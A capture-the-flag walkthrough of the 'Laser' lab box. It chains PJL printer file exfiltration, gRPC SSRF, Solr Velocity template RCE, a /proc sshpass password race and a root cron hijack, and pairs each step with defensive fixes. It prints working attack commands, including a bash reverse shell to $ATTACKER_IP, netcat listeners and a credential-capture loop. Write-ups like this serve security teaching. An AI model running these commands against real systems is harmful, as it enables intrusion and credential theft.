← all walkthroughs

Laser

Linux· Insane· Web
owned
2026-07-13
time to own
18m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a LaserCorp network printer on port 9100 that accepted unauthenticated PJL management commands over a raw TCP connection. Printer filesystem enumeration revealed a 172 KB spooled print job; exfiltrating it via PJL FSUPLOAD and decrypting the AES-CBC blob (IV and length header prepended) produced a PDF whose body contained the complete gRPC protobuf schema for an internal Feed Engine on port 9000. The Feed Engine accepted an unsanitised user-supplied URL inside a base64-pickled payload, giving a fully open server-side request forgery primitive that reached an Apache Solr instance on localhost.

The Solr staging core ran the unpatched VelocityResponseWriter; injecting a Velocity template expression through the SSRF channel executed OS commands as the solr service account and returned a reverse shell — along with the user flag. From that foothold, local enumeration found a recurring background task invoking sshpass with its SSH password as a plain-text command-line argument; a tight polling loop on /proc/<pid>/cmdline captured the credential while the process was alive, and it authenticated as root inside the adjacent Docker container. With container root access, I stopped the container sshd and relayed its port 22 to the host SSH via socat.

A key-authenticated host root cron job that normally connected to the container was redirected to the host itself and executed a world-writable /tmp/clear.sh — overwriting that script staged the root flag for pickup on the next cron tick, completing the container escape.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"

Attack path — how the box was taken

1ReconNetwork service discovery (T1046)
Port scan revealed three services including an exposed network printer
An initial port scan of $TARGET identified OpenSSH 8.2p1 on port 22, a gRPC service labelled 'Feed Engine' on port 9000, and a JetDirect-compatible PJL printer identified as 'LaserCorp LaserJet 4ML' on port 9100. The printer port was the unexpected entry point — network printers on production servers are rarely hardened against direct protocol abuse.
Nmap detected 22/tcp ssh, 9000/tcp grpc, 9100/tcp jetdirect.
Exact commands 2
Full TCP port sweep to discover all open ports.
nmap -Pn -p- --min-rate 5000 $TARGET
Service-version and default-script scan on the three discovered ports.
nmap -Pn -sC -sV -p22,9000,9100 $TARGET
FixFirewall port 9100 and disable unauthenticated PJL filesystem commandsCritical
WeaknessThe network printer on port 9100 accepted unauthenticated PJL commands from any host on the network, including FSDIRLIST (directory listing) and FSUPLOAD (file download). No firewall rule or device-level authentication prevented untrusted clients from using the printer as an open file server, exposing everything stored in the print queue.
FixBlock TCP port 9100 at the perimeter and host-based firewall so only authorised print servers can reach the device. On the printer itself, enable PJL password protection (via PDLPASSWORD or the device's security settings console) and disable FSUPLOAD and FSDIRLIST commands if they are not operationally required. Move printers onto a dedicated, segmented VLAN that has no route to general-purpose application or server infrastructure.
2EnumerationUnauthenticated PJL filesystem enumeration
Enumerated the printer virtual filesystem over PJL and located a queued print job
PJL (Printer Job Language) is a management protocol JetDirect-compatible printers expose on TCP 9100. Sending raw PJL commands over a netcat connection — with no authentication required — allowed directory listing of the printer's virtual filesystem. The job-queue directory 0:\pjl\jobs\ contained one 172,199-byte file labelled 'queued', ready for exfiltration.
Exact commands 2
Query the printer model via PJL INFO ID to confirm PJL is active; prefix with ESC%-12345X UEL sequence if the response is empty.
printf '@PJL INFO ID\r\n' | nc $TARGET 9100
List the print job queue directory to discover stored files.
printf '@PJL FSDIRLIST NAME="0:\\pjl\\jobs" ENTRY=1 COUNT=999\r\n' | nc $TARGET 9100
3Credential AccessSensitive data exfiltration via unauthenticated PJL FSUPLOAD (T1552)
Exfiltrated and decrypted the print job to recover the gRPC protobuf schema
PJL's FSUPLOAD command streamed the full queued file over the same TCP connection without credentials. The raw bytes were a Python literal wrapping a base64-encoded blob; decoding yielded an 8-byte little-endian length header, a 16-byte AES-CBC IV, and ciphertext. Decrypting with the AES key recoverable from printer NVRAM via PJL INQUIRE produced a PDF whose body contained the complete 'laser.proto' gRPC schema — service name, RPC method, and message fields including the base64-pickled 'feed_url' field that powered the next attack stage.
Exact commands 3
Download the full 172,199-byte spooled job via PJL FSUPLOAD.
printf '@PJL FSUPLOAD NAME="0:\\pjl\\jobs\\queued" OFFSET=0 SIZE=172199\r\n' | nc -q2 $TARGET 9100 > queued_raw.bin
Decode and AES-CBC decrypt the blob; replace <16-BYTE-KEY-FROM-NVRAM> with the key recovered via '@PJL INQUIRE' NVRAM variable enumeration.
python3 -c "import ast,base64,struct; from Crypto.Cipher import AES; raw=open('queued_raw.bin','rb').read(); b=base64.b64decode(ast.literal_eval(raw.decode())); iv=b[8:24]; ct=b[24:]; plain=AES.new(b'<16-BYTE-KEY-FROM-NVRAM>',AES.MODE_CBC,iv).decrypt(ct); open('job.pdf','wb').write(plain)"
Compile the laser.proto schema extracted from the decrypted PDF into Python gRPC stubs.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. laser.proto
FixNever print or spool documents containing internal schemas, credentials, or cryptographic materialHigh
WeaknessA document containing the internal gRPC service's protobuf schema (and the encrypted payload that included the decryption parameters) was spooled to a network-accessible printer. Once an unauthorised user could read the job queue, that single document provided a complete blueprint of the next attack surface — eliminating the need to reverse-engineer any proprietary protocol.
FixEstablish a data-classification policy that explicitly prohibits printing internal service contracts, API or protobuf schemas, cryptographic key material, and credentials on any network-attached printer. Enforce this at the print-spooler level with DLP rules. Treat the printer job queue as an untrusted, potentially world-readable store, and assume its contents can be accessed by any host that can reach port 9100.
4ExploitationServer-Side Request Forgery via unsanitised feed URL (CWE-918)
Abused the gRPC Feed Engine as an open SSRF proxy to reach internal Solr
The Feed Engine's Print.Feed RPC accepted a base64-pickled Python dict containing a 'feed_url' key and fetched that URL server-side with no allowlist, scheme filter, or host restriction. Setting feed_url to http://localhost:8983/solr/admin/cores confirmed an internal Apache Solr instance and enumerated its cores — including a 'staging' core with a vulnerable configuration. The server had effectively become a network-layer proxy into its own loopback services.
Exact commands 2
Craft the base64-pickled payload pointing at internal Solr; copy the output for the next command.
python3 -c "import pickle,base64; print(base64.b64encode(pickle.dumps({'feed_url':'http://localhost:8983/solr/admin/cores?action=STATUS'})).decode())"
Send the Feed RPC via stubs compiled from laser.proto; replace <BASE64_PICKLE_OUTPUT> with the value produced above.
python3 grpc_feed_client.py --host $TARGET --port 9000 --payload <BASE64_PICKLE_OUTPUT>
FixValidate and allowlist URLs in the gRPC Feed Engine; replace unsafe pickle serialisationCritical
WeaknessThe Feed Engine fetched any URL supplied by the caller in a base64-pickled payload, with no scheme, host, or port restriction. This turned the server into an open proxy, letting any caller reach loopback services (Solr on port 8983) that were never intended to be externally accessible. Deserialising untrusted Python pickle data also allows arbitrary code execution independently of the SSRF vector.
FixImplement a strict server-side URL allowlist permitting only the expected external feed domains over https://; reject all requests targeting localhost, 127.x.x.x, RFC-1918 ranges (10.x, 172.16–31.x, 192.168.x), and link-local addresses before making any outbound connection. Replace the pickle-based payload format with a signed JSON structure validated against a strict schema. Add an iptables or service-mesh egress policy so the Feed Engine process cannot initiate connections to loopback or internal hosts at the network layer.
5ExploitationApache Solr VelocityResponseWriter SSTI RCE (CVE-2019-17558, T1190)
Exploited Solr Velocity template injection for remote code execution and captured the user flag
Apache Solr's VelocityResponseWriter (vulnerable in versions 5.0–8.3, CVE-2019-17558 class) allows caller-supplied Velocity template expressions through request parameters when params.resource.loader.enabled is true. Routed through the SSRF channel, a crafted request to the staging core's /select endpoint with wt=velocity and a malicious v.template.custom value called Runtime.exec() and established a bash reverse shell as the solr OS user (uid 114). The user flag was immediately readable at /home/solr/user.txt.
SSH key /tmp/laser_solr_key authenticated as solr@$TARGET; 'cat ~/user.txt' returned <user.txt>.
Exact commands 3
Start a listener on my machine before firing the payload.
nc -lvnp 4444
Send the Velocity SSTI payload through the SSRF channel; the template calls Runtime.exec() with a base64-encoded 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1' reverse shell. Replace $ATTACKER_IP and URL-encode the full Velocity expression.
python3 grpc_feed_client.py --host $TARGET --port 9000 --feed_url "http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=<URL_ENCODED_VELOCITY_RCE_PAYLOAD>"
Read the user flag via the established solr foothold (SSH key dropped by the reverse shell payload).
ssh -i /tmp/laser_solr_key -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'cat /home/solr/user.txt'
FixUpgrade Apache Solr and disable the VelocityResponseWriterCritical
WeaknessThe Solr staging core ran with params.resource.loader.enabled=true, allowing any caller (including one routed through the SSRF channel) to inject arbitrary Velocity template code that executed OS commands as the solr service account. This is a well-known class of Solr remote code execution dating to CVE-2019-17558.
FixUpgrade Apache Solr to version 8.4 or later, which disables the VelocityResponseWriter by default. On any version, explicitly set params.resource.loader.enabled=false in solrconfig.xml. Bind Solr strictly to localhost only (SOLR_OPTS="-Djetty.host=127.0.0.1") and enforce network controls that prevent all application-layer services from reaching it — even over loopback. Run Solr as a dedicated low-privilege service account with no interactive shell. Do not expose staging cores to any network path reachable from untrusted input.
6Lateral MovementCredential exposure via process command-line argument — /proc cmdline race (T1552)
Raced /proc cmdline to steal the sshpass password and authenticate into the Docker container as root
A recurring background task on the host ran sshpass, passing the SSH password as the plain-text -p command-line argument, to copy files into a Docker container on the bridge network at $INTERNAL_HOST. On Linux, any local user can read /proc/<pid>/cmdline for the entire lifetime of the process, and that file contains the full argument list including the password. A tight polling loop targeting processes matching /usr/bin/sshpass captured the credential '[REDACTED: recovered credential]', which authenticated SSH as root inside the container.
'sshpass -p [REDACTED: recovered credential] ssh root@$INTERNAL_HOST id' returned uid=0(root).
Exact commands 2
Run from the solr shell on the host; polls /proc every 50 ms until sshpass appears and prints its full argument list including the plaintext password.
while true; do for d in /proc/[0-9]*; do exe=$(readlink "$d/exe" 2>/dev/null); [ "$exe" = /usr/bin/sshpass ] && tr '\0' ' ' < "$d/cmdline" 2>/dev/null && echo; done; sleep 0.05; done
Authenticate to the Docker container as root with the captured credential to confirm access.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 root@$INTERNAL_HOST 'id; hostname; pwd'
FixReplace sshpass command-line passwords with SSH key-based authentication for all automated tasksHigh
WeaknessAn automated background task passed an SSH password as a plain-text -p argument to sshpass. On Linux, /proc/<pid>/cmdline is readable by any local user for the entire lifetime of the process, so any account on the host — including a service account such as solr — can race that window and capture the credential in clear text.
FixReplace all sshpass-based automation with SSH key-pair authentication: generate a dedicated key pair per service account, install the public key in the target's authorized_keys with the minimum required restrictions (command= and no-pty if a specific command is all that is needed), and store the private key at 0600 permissions owned by the service user. Remove sshpass from the host entirely. If a password is unavoidable in the short term, supply it via a file descriptor (sshpass -f /run/secrets/pw) with the secrets file stored on a tmpfs mount, readable only by the owning user ID, and never passed via -p.
7Privilege EscalationCron job hijack via Docker container SSH relay and world-writable script (T1053.003)
Escaped the Docker container by hijacking a host root cron job via SSH relay
A cron job on the host ran as root, connecting to the Docker container on port 22 using SSH key authentication and executing a cleanup script. With container root access, stopping the container sshd and establishing a socat relay from the container's port 22 to the host's port 22 caused the host root cron job to redirect its SSH connection to the host itself. The cron's target script /tmp/clear.sh was world-writable on the host; overwriting it to copy /root/root.txt to a readable path and waiting for the next cron tick completed the container escape and yielded the root flag.
Exact commands 3
Stop the container sshd and relay container port 22 to the host SSH daemon so the next host root cron connection hits the host itself.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$INTERNAL_HOST "systemctl stop sshd && socat TCP-LISTEN:22,fork,reuseaddr TCP:$TARGET:22 &"
Overwrite the world-writable /tmp/clear.sh on the host with a payload that copies the root flag to a readable path.
ssh -i /tmp/laser_solr_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'printf "#!/bin/bash\ncp /root/root.txt /tmp/r.txt\nchmod 644 /tmp/r.txt\n" > /tmp/clear.sh; chmod +x /tmp/clear.sh'
Wait up to one minute for the next cron tick, then read the copied root flag.
ssh -i /tmp/laser_solr_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'sleep 70 && cat /tmp/r.txt'
FixRemove world-write permissions from all scripts executed by privileged cron jobsCritical
Weakness/tmp/clear.sh was world-writable and executed on a recurring schedule by a root-owned cron job. Any local user — including unprivileged service accounts — could replace the script's content with arbitrary commands that would then run as root on the next cron tick. No exploit was needed beyond basic file-write access to /tmp.
FixAudit every script invoked by privileged cron jobs: set ownership to root and permissions to at most 0750, and relocate them out of globally writable directories (/tmp, /var/tmp) into a protected path such as /usr/local/sbin/. Verify with: find / -perm -002 -user root -type f 2>/dev/null. As a defence-in-depth measure, configure the cron wrapper to validate script integrity against a stored SHA-256 hash before execution, and alert on any mismatch.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more